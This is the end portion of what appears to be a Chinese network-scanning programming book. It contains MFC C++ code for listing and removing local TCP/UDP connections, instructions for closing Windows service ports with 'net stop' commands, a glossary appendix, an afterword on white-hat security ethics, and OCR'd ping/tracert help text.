}

void CSnifferDlg::OnBUTTONReadAPI()

{

UpdateData(TRUE);

m_iNetStatMode=NETSTAT_API;

m_ctlListReceive.DeleteAllItems();

CString strTemp;

char cTcpBuf[MAXTABLELEN]={0};

char cUdpBuf[MAXTABLELEN]={0};

PMIB_TCPTABLE pTcpTable=(PMIB_TCPTABLE)cTcpBuf;

PMIB_UDPTABLE pUdpTable=(PMIB_UDPTABLE)cUdpBuf;

DWORD dwTableLen=MAXTABLELEN;

DWORD dwRet=GetTcpTable(pTcpTable,＆dwTableLen,TRUE);

if(dwRet!=NO_ERROR)

{

GetLastErrMsg(dwRet);

return;

}

for(int i=0;i＜(int)pTcpTable-＞dwNumEntries;i++)

{

AddToList("TCP",＆pTcpTable-＞table[i],0xFFFFFFFF);

}

dwRet=GetUdpTable(pUdpTable,＆dwTableLen,TRUE);

if(dwRet!=NO_ERROR)

{

GetLastErrMsg(dwRet);

return;

}

for(i=0;i＜(int)pUdpTable-＞dwNumEntries;i++)

{

pTcpTable-＞table[i].dwLocalAddr=pUdpTable-＞table[i].dwLocalAddr;

pTcpTable-＞table[i].dwLocalPort=pUdpTable-＞table[i].dwLocalPort;

AddToList("UDP",＆pTcpTable-＞table[i],0xFFFFFFFF);

}

m_strComment="GetTcpTable读取成功。";

UpdateData(FALSE);

}

void CSnifferDlg::OnBUTTONReadHook()

{

UpdateData(TRUE);

m_iNetStatMode=NETSTAT_HOOK;

CString strTemp;

m_ctlListReceive.DeleteAllItems();

PFNAllocateAndGetTcpExTableFromStack pAllocateAndGetTcpExTableFromStack;

PFNAllocateAndGetUdpExTableFromStack pAllocateAndGetUdpExTableFromStack;

HMODULE hModule=::LoadLibrary("iphlpapi.dll");

pAllocateAndGetTcpExTableFromStack=

(PFNAllocateAndGetTcpExTableFromStack)::GetProcAddress(hModule,

"AllocateAndGetTcpExTableFromStack");

pAllocateAndGetUdpExTableFromStack=

(PFNAllocateAndGetUdpExTableFromStack)::GetProcAddress(hModule,

"AllocateAndGetUdpExTableFromStack");

if(pAllocateAndGetTcpExTableFromStack==NULL||

pAllocateAndGetUdpExTableFromStack==NULL)

{

MessageBox("IPHLPAPI动态链接库格式不对，或版本太低。");

return;

}

PMIB_TCPEXTABLE pTcpExTable;

PMIB_UDPEXTABLE pUdpExTable;

if(pAllocateAndGetTcpExTableFromStack(＆pTcpExTable,TRUE,

GetProcessHeap(),2,2)!=0)

{

MessageBox("无法完成TCP快照。");

return;

}

if(pAllocateAndGetUdpExTableFromStack(＆pUdpExTable,TRUE,

GetProcessHeap(),2,2)!=0)

{

MessageBox("无法完成UDP快照。");

return;

}

m_hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

MIB_TCPROW Row;

for(UINT i=0;i＜pTcpExTable-＞dwNumEntries;i++)

{

Row.dwLocalAddr=pTcpExTable-＞table[i].dwLocalAddr;

Row.dwLocalPort=pTcpExTable-＞table[i].dwLocalPort;

Row.dwRemoteAddr=pTcpExTable-＞table[i].dwRemoteAddr;

Row.dwRemotePort=pTcpExTable-＞table[i].dwRemotePort;

Row.dwState=pTcpExTable-＞table[i].dwState;

AddToList("TCP",＆Row,pTcpExTable-＞table[i].dwProcessId);

}

for(i=0;i＜pUdpExTable-＞dwNumEntries;i++)

{

Row.dwLocalAddr=pUdpExTable-＞table[i].dwLocalAddr;

Row.dwLocalPort=pUdpExTable-＞table[i].dwLocalPort;

AddToList("UDP",＆Row,pUdpExTable-＞table[i].dwProcessId);

}

::CloseHandle(m_hProcessSnap);

::LocalFree(pTcpExTable);

::LocalFree(pUdpExTable);

::FreeLibrary(hModule);

m_strComment="Hook读取成功。";

UpdateData(FALSE);

}

void CSnifferDlg::OnBUTTONStopThread()

{

POSITION posReceive=m_ctlListReceive.GetFirstSelectedItemPosition();

if(posReceive==NULL)

return;

int index=m_ctlListReceive.GetNextSelectedItem(posReceive);

if(MessageBox("确实要删除该连接吗?","操作提示",MB_OKCANCEL|

MB_DEFBUTTON2|MB_ICONQUESTION)==IDCANCEL)

return;

UpdateData(TRUE);

CString strTemp;

if(m_ctlListReceive.GetItemText(index,LIST_RECEIVE_PROTOCOL)=="TCP")

{

MIB_TCPROW Row;

Row.dwLocalAddr=(DWORD)atoi(m_ctlListReceive.GetItemText(index,

LIST_RECEIVE_IP1));

Row.dwLocalPort=(DWORD)atoi(m_ctlListReceive.GetItemText(index,

LIST_RECEIVE_PORT1));

Row.dwRemoteAddr=(DWORD)atoi(m_ctlListReceive.GetItemText(index,

LIST_RECEIVE_IP2));

Row.dwRemotePort=(DWORD)atoi(m_ctlListReceive.GetItemText(index,

LIST_RECEIVE_PORT2));

Row.dwState=MIB_TCP_STATE_DELETE_TCB;

SetTcpEntry(＆Row);

}

if(m_iNetStatMode==NETSTAT_API)

{

OnBUTTONReadAPI();

}

else

{

OnBUTTONReadHook();

}

UpdateData(FALSE);

}

void CSnifferDlg::OnTimer(UINT nIDEvent)

{

//定时器，一般通过nIDEvent区分不同定时器

switch(nIDEvent)

{

case 1:

if(m_iNetStatMode==NETSTAT_API)

OnBUTTONReadAPI();

else

OnBUTTONReadHook();

break;

default:break;

}

CDialog::OnTimer(nIDEvent);

}




12.6　如何关闭端口

所谓的“关闭端口”概念，本身是不存在的。通常情况下，端口是因提供服务而存在的，服务开启了，该服务所对应的端口也就被“打开”了；服务关掉，所对应的端口也就没了，也就是说，关端口的关键是关服务。当然，实际操作中，有些服务属于系统服务，并不一定能关得掉，这时可以通过防火墙的配置，使其失去与外界连接，特别是使外界不能主动与之联系，这也可以称为关掉。

一般来说，服务和端口的关系是一对多的关系，且端口具有独占性的特点。下面介绍常用的几个端口的关闭方式。


 12.6.1　FTP端口

由于FTP是服务器软件，如果使用的是Microsoft操作系统自身提供的FTP服务器的话，有几种关闭方式，一种方法是通过IIS自身工具“Internet信息服务”临时或长期关掉该程序。第二种方法是通过操作系统所带的服务工具关闭服务。

要使用第一种方法，首先在“控制面板”中进入“管理工具”选项，然后双击其中“Internet信息服务”选项（如果没有该选项，则说明没有安装FTP服务，详细的配置参见第7章的7.3节“FTP服务扫描”中说明），在“Internet信息服务”窗口中，通过单击FTP的快捷图标，可以直接完成FTP服务的启动、停止和暂停，也就相当于FTP端口的启停或暂停，如图12.6所示，左边“FTP站点/默认FTP站点”即为本例的FTP服务器，“网站/默认网站”为下一节中WWW服务器，工具栏中最右边的三个按钮由左至右依次是：启动、停止、暂停三个快捷图标。
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图　12.6　“Internet信息服务”FTP服务的启停

要使用第二种方法，又有等效的两种方式，一种是使用命令行，另一种是使用服务的图形界面进行设置。

命令行方式下在DOS命令行中分别输入启动或停止的命令：



net start msftpsvc

net stop msftpsvc



使用服务的图形界面方式是：在“控制面板”中进入“管理工具”选项，然后双击其中“服务”选项，在弹出的“服务”窗口中找"FTP Publishing"项，如果没有，则表明当前系统没有安装FTP服务，否则双击该表项，则会弹出如图12.7所示的FTP服务启停界面。
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图　12.7　启动或停止FTP服务


12.6.2　WWW端口

由于WWW服务与FTP服务在管理上很相似，所以如果使用的是Microsoft操作系统自身提供的WWW服务器的话，则同FTP一样，WWW端口有两种关闭方式，一种是通过“Internet信息服务”临时或长期关掉该程序，该操作方式和示图与FTP几乎一样，所以不再重复，所不同的是这里所用的是WWW服务。第二种方法是通过操作系统所带的服务工具关闭服务，同样分命令行或服务的图形界面两种方式，命令行方式下是：



net start w3svc

net stop w3svc



使用服务的图形界面方式是：在“控制面板”中进入“管理工具”选项，然后双击其中“服务”选项，在弹出的“服务”窗口中找"World Wide Web Publishing"项，如果没有则表明当前系统没有安装WWW服务，否则双击该表项，则会弹出如图12.8所示的WWW服务启停界面。
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图　12.8　启动或停止WWW服务


12.6.3　Telnet端口

Telnet服务不同于上述FTP服务和WWW服务，一则是默认的Windows安装中就有Telnet服务器，所以不需要像FTP和WWW服务一样专门安装，二则是Telnet没有专门图形化的管理工具，因而Telnet只能通过关启服务来实现，通过操作系统所带的服务工具打开或关闭服务，同样分命令行或图形界面两种方式，命令行方式启动或关闭Telnet端口的命令是：



net start tlntsvr

net stop tlntsvr



或



net start telnet

net stop telnet



使用服务的图形界面方式是：在“控制面板”中进入“管理工具”选项，然后双击其中“服务”选项，在弹出的“服务”窗口中找"Telnet"项，否则双击该表项，则会弹出如图12.9所示的Telnet服务启停界面。
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图　12.9　启动或停止Telnet服务


12.6.4　NetBIOS端口

NetBIOS端口的关闭，在第4章4.6节“NetBIOS的安全性”有较详细的阐述，这里不再重复，唯一要补充的就是，如果要关闭NetBIOS服务相关的端口，只需要操作一个步骤即可，即在如图12.10所示的界面中，选择“禁用TCP/IP上的NetBIOS”单选框即可。要显示如图12.10所示的界面，请参见4.1.1节“查看和修改NetBIOS配置”中的相关内容，该图等价于图4.3。
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图　12.10　启用或禁用NetBIOS服务


附录A　本书容易混淆概念解析


 A.1　同名不同义概念

涉及以下概念时，本书都会尽量说明，未尽之处，请以下列概念自行辨识。

1.DOS

❑磁盘操作系统（Disk Operation System）是Microsoft早期单用户、单任务操作系统名称，后被Windows操作系统取代，但为了兼容，特在Windows中通过虚拟机的方式提供其接口，单击“开始→所有程序→附件→命令提示符”会出现“命令提示符”窗口。

❑拒绝服务式攻击（Denial Of Service）是网络上常见的一种攻击方式，详见第1章的1.10节“当前网络常见的漏洞”中的1.10.1节“DOS和DDOS”介绍。

2.SQL

❑一种数据库结构化查询语言（Structured Query Language），使用该语言可以存取数据以及查询、更新和管理关系数据库系统。目前几乎所有主流数据库系统都支持SQL语言查询。

❑由Microsoft制作的一种数据库的名称SQL Server，习惯称为“SQL数据库”。该数据库当然也支持SQL语言。

3.服务器

❑与工作站相对应的服务器，硬件概念，指通过特殊制造工艺而使某种性能或整体性能很好的计算机。

❑与客户端相对应的服务器，软件概念，指按某协议编程的程序，能向其他主机提供服务供其访问。本书所涉及的“服务器”，除非专门说明，全是指此概念。

4.端口

❑硬件端口，主机外部机框上，可以与外界硬件缆线相连接的设备接口。如网络接口、USB接口、RS232接口、显示器外接线接口。

❑Socket端口，Socket通信中定义的一个序号，该序号范围是0～65535，用于区分各项服务。本书所涉及的“端口”，除非专门说明，全是指此概念。

5.管道

❑管道：一种单主机数据进程间通信的方式，通常是单向数据传输。为了和命名管道区别，有时称这种通信方式为匿名管道。

❑命名管道：一种带指定名称的进行间通信方式，通常也是单向数据传输。由于和底层协议无关，所以后期扩充后，命名管道可以用于网络主机之间进程间的通信。


A.2　同义不同名概念

以下概念在本书中，除非专门说明，否则认为是等价的。

1.主机、电脑、计算机

❑主机：网络上相对于终端（键盘、显示器）、外部设备（打印机、扫描仪）而言的计算机主体部分，一般来说具有独立IP的都可称为主机。

❑电脑：非计算机专业人员称家用计算机的口语化称呼。

❑计算机：统称。

2.文件夹、目录

❑目录：一组物理位置相邻的文件名或列表的统称。对文件夹以前的称呼。

❑文件夹：文件夹是近几年新出现的一个称呼。

3.API、函数、编程接口、过程、方法

❑API（Application Programming Interface，应用程序编程接口）：由Windows提供的一组程序编程函数。

❑函数（function）：可供调用的功能代码，可以包括API，也可以是用户自己编写的。有些高级编程语言也称为功能。

❑编程接口：由服务提供的一组供调用的函数。

❑过程（procedure）：在有些高级编程语言中，把带有返回值的称为函数，不带返回值的称为过程。

❑方法（method）：在面向对象的开放中，类中的函数称为方法。

4.命令文件、命令

❑命令文件：由操作系统提供的，以文件形式存在的，运行以后可以执行某一功能的文件，在DOS时代，一般称为“外部命令”，如"ftp"、"telnet"。命令文件既然通过文件的方式出现，所以可以在Windows目录下找到这样的一个文件，该文件一旦被改名，则该命令文件所代表的命令也要改变，否则将无法执行，如默认情况下"ftp"命令文件所对应的命令是"C:\Windows\System32"目录下，文件名为"ftp.exe"。

❑命令：由操作系统提供的，直接编译到内核中的，运行以后执行某一功能的“内部命令”。如"dir"、"copy"。命令嵌于内核中，所以无法修改。

5.套接字、Socket

❑套接字：Socket的中文名称。

❑Socket：一种网络通信接口，也写作socket。


A.3　易混概念

下面各概念的解释，不一定是其定义，只是为了区分概念所给出的说明。

1.NetBIOS、Netbios

❑NetBIOS：一种通信协议。第4章“NetBIOS扫描器的设计”介绍该协议的操作。

❑Netbios：NetBIOS协议的一个底层调用函数API的名称。

2.Socket、socket、CSocket、SOCKET

❑Socket，socket：一种通信协议，本书中二者等价，一般来说Socket在Windows操作系统中较常见，socket在Linux操作系统中较常见。

❑CSocket：一种面向对象编程中的类，对socket进行了封装。

❑SOCKET：有些函数中参数值或返回值为SOCKET，用于表示一个socket句柄。

3.ISO、OSI

❑ISO：国际标准化组织，International Organization for Standardization或International Standard Organized，规定了很多国际标准，在本书中，主要有SNMP协议，很多企业设备的OID值均由ISO定义。

❑OSI：Open System Interconnection，开放系统互连，由ISO提出的“OSI七层协议”与TCP/IP协议的对应关系，详见第2章的2.1节“TCP/IP协议编程”。

4.协议、服务、程序

❑协议：通信规范的说明文件。

❑服务：绝大多数协议都是以服务的形式出现，这种现象特别是在服务端更为明显。

❑程序：绝大多数服务的客户端，都是以程序的方式出现的。

5.“/”、“//”、“\”、“\\”

❑“/”：该符号主要有三种用法：

·在基于命令行程序的命令中，用于表示参数前导字符。比如"dir/w"表示"dir"命令并附带"w"参数。

·用于表示URL地址中目录或文件的分隔符。如："http://www.lrm.com/download/book/index.htm"。

·在C语言中，用于表示除号。

❑“//”：该符号主要有两种用法：

·用于URL地址中，隔开协议与主机网址，如："http://www.lrm.com/"。

·在C语言的源代码中，表示由该符号开始到回车之间的内容为注释，不进行编译。

❑“\”：该符号主要有三种用法：

·表示本地文件的盘符、目录或文件分隔符。如Windows下，FTP文件的全路径是"C:\Windows\System32\ftp.exe"。

·命名管道或邮槽中，用于分隔管道名。如"\\.\\pipe\\sql\\query"。

·在C语言中，用于表示转义符号，详见下面补充说明。

❑“\\”：该符号主要有两种用法：

·NetBIOS中，表示该符号后面所跟的是主机名或IP地址。

·命名管道或邮槽中，表示该符号后面所跟的是主机名或IP地址。

在上面的对比中，还要再补充两点：

·在C语言中，字符（'\'）用于转义，表示该字符与之后的字符共同表示为一个非显示的字符（通常表示某个功能）。比如"\n"表示回车，"\t"表示TAB制表符（相当于键盘上的按"TAB"键的作用），“\\”表示字符“\”本身。所以上面所说的是字符串，当在C语言中源代码中，要表示“\”，需写作“\\”；要表示“\\”，需写作“\\\\”。

·在URL中，对目录和文件项的区分虽然定义为“/”，但为了容错，使用“\”也都是可以的。

6.C/S、B/S

❑C/S模式：客户端（Client）/服务器端（Server）模式，客户端与服务器端独立编程，相互之间通过Socket或其他通信协议进行通信。

❑B/S模式：浏览器端（Browser）/服务器端（Server）模式，通常仅用于用浏览器，使用HTTP协议访问WWW服务。很显然该模式只是C/S模式的一种特例，但由于WWW服务在互联网上的地位，所以习惯上将C/S与B/S并称。

7.源、目的

❑源（source）：根据协议主动发起操作的一方称为“源”，如源主机、源IP、数据源。

❑目的（destination）：根据协议处于“监听”状态，接到源端操作后进入操作状态的称为“目的”，如目的主机、目的IP、数据目的端。

8.单播、多播、组播、广播

❑单播（unicast）：指目的地址为单一目标的传输方式。单播一词仅在与多播、组播、广播做对比的时候才会出现，用于表明其传输方式是一对一。

❑多播（multicast）、组播（group broadcast）：二者等价，本书采用“组播”一词。指目的地址为一组地址的传输方式。该地址的IP和端口有特殊要求（如SSDP协议规定组播地址必须是“239.255.255.250：1900”），其他节点需要加入到指定的组里才能收到组播数据。

❑广播（broadcast）：指目的地址为所有节点的传送方式。


附录B　Windows Socket错误返回码
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附录C　Win Inet错误返回码
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附录D　HTTP错误返回码
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后记

网络安全是一个永恒的话题。

随着一个网络服务软件的运行，该软件必然要与外界进行通信（否则就不应该叫网络服务软件），这就必然会引起安全问题。一个系统为了数据安全，可以加上安全认证系统，这样不合法的用户会被拒之门外，但黑客却可以通过弱密码穷举破解用户密码。为了防止穷举，可以限制用户连续错误密码输入的次数，但这样又会导致“拒绝服务”攻击，通过错误的密码使用户失效，使正常用户无法正常使用。

中国是一个早在五千年前就发现“堵”不如“疏”的伟大国家，面对网络安全也是一样，与其“讳疾忌医”，不如“坦然面对”。仔细分析上述过程，也会发现这种看似周而复始攻守成败的易位，其实是一种螺旋上升的过程，这有利于软件更强健、更安全。

网络扫描是一切入侵的基础，也是检测自身安全防护系统的第一步。因此，网络安全关键不在于使用什么技术、什么工具，而在于是谁来用，目的是什么。即使是让人感觉神秘而好奇的全球顶级黑客大会，也在活动中宣传普及黑客知识的同时，强调如何使自己免受攻击，甚至鼓励儿童和青少年成为“白帽黑客（white hat）”（指利用电脑知识打击犯罪的黑客），而不要成为“黑帽黑客（black hat）”（指利用电脑知识从事违法行为的黑客）。（详见全球规模最大的黑客大会Defcon会议内容。）

在本书编写中，感谢我的父母和其他家人对我一如既往的支持，不计回报的亲情是我做事的无穷动力。同时，在本书材料的搜集、整理中，除了参考专业书籍之外，也引用了部分网上源码及网站内容，考虑到内容较为零碎，且多数联系不到作者，不再一一单列，在此一并感谢。

纵览全书，我们围绕“网络扫描技术”，详细介绍了每一种扫描技术的背景、协议、编程函数、编程实现、使用局限性等各方面。希望通过对这些技术的介绍，普及网络安全知识。当然，鉴于本人能力有限，难免疏漏，恳请读者指正。


光盘内容

光盘下载地址：http://pan.baidu.com/s/1c0eRaN2
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[—» count] [—s count] [[-j host-list] | [k host—listl1]
[-u timeout] target_name

Options:
-t Ping the specified host until stopped.

To see statistics and continue — type GControl-Break;
To stop — type Control-C.
Resolve addresses to hostnames.

count Mumber of echo requests to send.

size S8end buffer size.
Set Don’t Fragment flag in packet.

TIL Time To Live.

TOS Type Of Service.

count Record route for count hops.

count Timestamp for count hops.

j host—-1list Loose source route along host-list.
host-list Strict source route along host-list.
timeout Timeout in milliseconds to wait for each reply.
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iNMtracert

sage: tracert [-d]l [-h maximum_hops] [-j host-list] [-w timeout] target_name

Options:

—d Do not resolve addresses to hostnames.

—h maximum_hops Maximum number of hops to search for target.
—j host-list Loose source route along host-list.

—w timeout Wait timeout milliseconds for each reply.
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